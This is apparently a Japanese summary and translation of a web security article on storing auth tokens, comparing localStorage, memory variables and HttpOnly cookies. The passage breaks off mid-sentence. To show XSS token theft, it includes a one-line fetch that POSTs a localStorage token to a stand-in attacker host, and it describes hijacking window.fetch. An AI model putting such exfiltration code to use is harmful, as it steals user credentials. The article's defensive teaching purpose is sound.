プログラミング
モダンアプリケーションにおける認証の最良の方法
What's the best way to do authentication in modern applications (neciudan.dev)
要約
モダンアプリケーションにおける認証トークンの安全な保存方法について、一般的なアプローチとそのリスクを解説しています。localStorageへの保存はXSS攻撃に対して脆弱であり、HTTPOnly Cookieの使用が推奨される理由を、具体的なコード例と共に説明しています。XSSやCSRFといったセキュリティ脅威を理解し、トークンをJavaScriptからアクセスできない場所に保存することの重要性を強調しています。
全文翻訳
目次基本XSSがトークンに与える影響「JSを実行できるなら、すでに負けている」試行2: メモリに保持試行3: HttpOnly CookieCSRFSessions vs JWTsJWTが機能する場所Reactへの実装方法より安全にできるか?新しい脅威終わり参考文献フロントエンド開発者にログイン・トークンをどこに保存すべきか尋ねると、10人中4人が異なる答えを出し、議論になるでしょう。そして、それぞれのアプローチが異なる懸念に対処するため、解決策のない議論が続きます。そこで、一度決着をつけましょう:トークンを保存する選択肢は何があり、どれが最も安全で、どのようなユースケースがあるのか。XSSとCSRFについては、無料のフロントエンドセキュリティコースでさらに深く掘り下げますが、今回は認証に焦点を当てたいと思います。基本私がこれを書いたように、あなたも書いたかもしれません。「午後にフルスタックアプリを構築する」という記事やチュートリアルはすべてこれを書いています。ユーザーがログインフォームを送信し、サーバーがパスワードを確認してトークンを返します。あなたはそれをlocalStorageに保存し、それ以降のすべてのリクエストに添付します:async function login(email: string, password: string) { const res = await fetch('/api/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email, password }), }); const { token } = await res.json(); localStorage.setItem('token', token); } async function fetchProfile() { const res = await fetch('/api/me', { headers: { Authorization: `Bearer ${localStorage.getItem('token')}`, }, }); return res.json(); } そのトークンは、ほとんどの場合JWTです。JWT(JSON Web Token)は、ヘッダー、ペイロード、署名の3つの部分からなる文字列で、ドットで区切られています。ペイロードには、ユーザーIDやロールなどのユーザーに関する情報が含まれています。署名は、サーバーがこのペイロードを生成したこと、そして改ざんされていないことを証明するスタンプです。JWTが人気になったトリックは、サーバーがトークンを受け取ったときの処理です。スタンプを再計算し、一致するかどうかを確認し、何も検索せずにペイロードを信頼します。ユーザーIDはトークン内に暗号学的に保証されているため、userIDを取得したりユーザーを確認したりするために読み取るデータベース行はありません。人々はこれを「ステートレス」と呼びます。そして、チュートリアルに公平を期すために言うと、これは機能します。localStorageは永続化されるためリフレッシュにも耐え、Cookieのあらゆる面倒を回避します。Authorization: Bearerヘッダーはドメイン間でもきれいに通信するため、あるドメインのアプリは、あまり考えずに別のドメインのAPIを呼び出すことができます。JWTは機能しますが、私たちが書いたコードには1つの問題があります:JWTをどこに保存したか。XSSがトークンに与える影響localStorageには1つの特徴があります:ページ上のどのJavaScriptでもすべてを読み取ることができます。あなたのページで実行されるJavaScriptは誰のものですか?あなたのもの、もちろん。しかし、あなたがインストールしたすべてのnpmパッケージ、そしてそれらのパッケージがプルしたすべてのパッケージも含まれます。あなたの分析スニペット。あなたのサポートチャットウィジェット。ブラウザ拡張機能が注入することを決定したものは何でも。そして、それが起こった日には、攻撃者のものです。最後のものがXSSです。クロスサイトスクリプティングとは、攻撃者があなたのページでコードを実行させることができたということです。通常は、コメントフィールドがユーザーテキストをエスケープせずにHTMLとしてレンダリングしたり、URLパラメータがDOMに直接反映されたり、依存関係がパッチリリースで悪意のあるコードを配布したりといった、つまらない方法で。それが起こると、トークンは消えるまであと1行です:fetch('https://attacker.example/collect', { method: 'POST', body: localStorage.getItem('token'), }); 攻撃者はあなたのベアラートークンを取得し、「ベアー」は文字通りです(それは「The Bear」という番組から来たものではありません):それをベアーする者はあなたです。サーバーはスタンプをチェックし、有効なペイロードを見て、挨拶します。彼らはもはやあなたのブラウザを必要としません。彼らはタブが開いている必要もありません。彼らはその文字列を自分のマシン上のスクリプトに貼り付け、トークンが期限切れになるまで(ほとんどの場合)、あなたのAPIはあなたとして扱います。多くのチュートリアルがそうするように7日間の有効期限でトークンに署名した場合、それは7日間のマスターキーです。キャンセルすることはできません。なぜなら、「ステートレス」のポイントは、サーバーが何もチェックしないことだったからです。攻撃者が次に何をするかはすべて彼らのインフラストラクチャ上で、彼らのスケジュールで、あなたには完全に不可視で行われます。「JSを実行できるなら、すでに負けている」よく言われることですが、攻撃者があなたのページでJavaScriptを実行できるなら、彼らはすでに何でもできるということです。画面上のすべてを読み取ったり、ユーザーのブラウザからリクエストを発火させたり、ブラウザが添付するあらゆる認証情報を使用したりできます。トークンを隠しても何も変わりません。前半は真実です。トークンを保護してもXSSは防げません。HTTPOnly Cookieが「XSSを防ぐ」とあなたに言う人は、混乱しているか、何かを売ろうとしています。しかし、攻撃者が各ケースで何に制限されるかを見てみましょう。なぜなら、それらは同じケースではないからです。攻撃者がトークンを読み取れる場合、彼らはそれを持ち帰ります。タブが閉じられた後も、自分のマシンから、自分のペースで、トークンの全期間にわたって攻撃は続きます。攻撃者がトークンを読み取れない場合、彼らはライブセッションに乗ることしかできません。彼らのスクリプトは、そのタブが開いている間、被害者のブラウザ内からリクエストを発火させ、それらのリクエストはすべてあなたのサーバーに着陸し、そこであなたのレート制限、ロギング、不正チェックが行われます。一方は盗まれた鍵です。もう一方は、あなたの家の中に立って、あなたのカメラの前にいて、飼い主が出て行くまでしか行動できない泥棒です。もちろんどちらも望ましくありませんが、XSSバグは最終的に出荷されます。現実的な目標は、XSSバグが出荷される頻度を減らし、発生した場合にできることを縮小することです。セキュリティ担当者はこれを「爆発半径の縮小」と呼んでいますので、目標を設定しましょう:トークンをJavaScriptが読み取れない場所に移動させます。試行2: メモリに保持最初の本能:ストレージを完全にスキップし、トークンを通常の変数に保持します。let accessToken: string | null = null; async function login(email: string, password: string) { const res = await fetch('/api/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email, password }), }); const { token } = await res.json(); accessToken = token; // メモリに保持、ディスクには書き込まれない } そのような通常の変数(オブジェクトではなくモジュールのスコープに存在し、攻撃者がリストできるものではない)は、localStorageよりもはるかに取得が困難です。LocalStorageは、攻撃者がキーごとに列挙できる公開された掲示板です。緩い変数は、少なくともそれが存在することを知っていて、名前を付けられる必要があるものです。より困難ですが、安全ではありません。攻撃者のコードは、あなたのコードと同じJavaScriptの世界で実行されます。それはwindow.fetchを独自のバージョンに置き換え、あなたのアプリがAuthorizationヘッダーをアタッチするのを待ち、通過するトークンをコピーできます。そして、その狭まりのために高い代償を払いました。ユーザーがページをリフレッシュすると、JavaScriptの世界はゼロから再構築されます。あなたの変数はなくなり、ユーザーはログアウトされます。2番目のタブを開くと、独自のメモリ、独自の空のaccessTokenを持ち、最初のタブの存在を知りません。そこでもログアウトされます。リフレッシュごとにログアウトするアプリを出荷する人はいません。そのため、追加できるのは、新しいアクセストークンをサイレントに発行するだけの、より長く持続する2番目の認証情報を使用することです。それはリフレッシュトークンと呼ばれます。しかし、リフレッシュトークンはどこに保存されるのでしょうか?localStorageに保存すると、元に戻ってしまいます。攻撃者は代わりにリフレッシュトークンを取得し、永遠に新しいアクセストークンを発行します。私たちは円を描いて歩きました。JavaScriptからアクセス可能なストレージは、長期的な認証情報を安全に保持できません。ブラウザ内に、JavaScriptが絶対にアクセスできない場所が必要です。試行3: HttpOnly CookieCookieは、主に一般の人がCookieに出会うのが同意バナーの時だけなので、悪い評判があります。バナーのナンセンスの下で、Cookieはサーバーがブラウザに保存するように要求し、その後、そのサーバーに送信されるすべてのリクエストに自動的に添付する小さな値です。サーバーはレスポンスヘッダーでそれを設定し、いくつかの追加フラグで保護できます:Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/ 各フラグはセキュリティを強化します。HttpOnlyはブラウザに伝えます:このCookieをJavaScriptに絶対に渡さないでください。document.cookie